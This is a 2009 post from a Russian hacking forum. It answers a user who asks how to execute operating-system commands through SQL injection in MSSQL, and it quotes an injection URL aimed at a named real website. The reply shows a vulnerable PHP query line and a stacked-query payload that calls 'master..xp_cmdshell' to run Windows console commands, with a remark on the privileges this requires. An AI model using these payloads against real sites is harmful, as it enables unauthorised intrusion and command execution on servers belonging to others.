Показать сообщение отдельно

  #9255  
Старый 07.10.2009, 22:55
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Цитата:
Сообщение от Nightmarе  
Слышал, что через SQL в базе данных MSSql реально выполнить cmd команды, но дел с этой БД никогда не имел, если это не миф, то просьба, показать на этом примере:
sagiv.co.il/main.asp?cat=site&sel_nav1=1+or+1=@@version—
Или объясните плз, при каком условии можно выполнить cmd команду на сервере.
Преимуществом этой СУБД есть то, что в скулях можно закрывать один запрос ( и выполненять другой... Поясню: Если есть уязвимый код, н.п.:
PHP код:
mssql_query('SELECT * FROM news WHERE id='.$_GET.); 
При подставке в id, н.п. 1, запрос в БД будет выглядеть так:
Код:
SELECT * FROM news WHERE id=1
Это понятно Но можно сделать так:
Код:
?id=1; exec master..xp_cmdshell 'здесь комманда консоли винды'
тогда первый запрос будет
Код:
SELECT * FROM news WHERE id=1
второй:
Код:
exec master..xp_cmdshell 'здесь комманда консоли винды'
Про "exec", "master..xp_cmdshell" почитай в гугле

PS: Но exec не всегда разрешен. В большинстве случаев - только при пользователе "su" (это как root в MySQL)

Последний раз редактировалось mailbrush; 07.10.2009 в 23:03..
 
Ответить с цитированием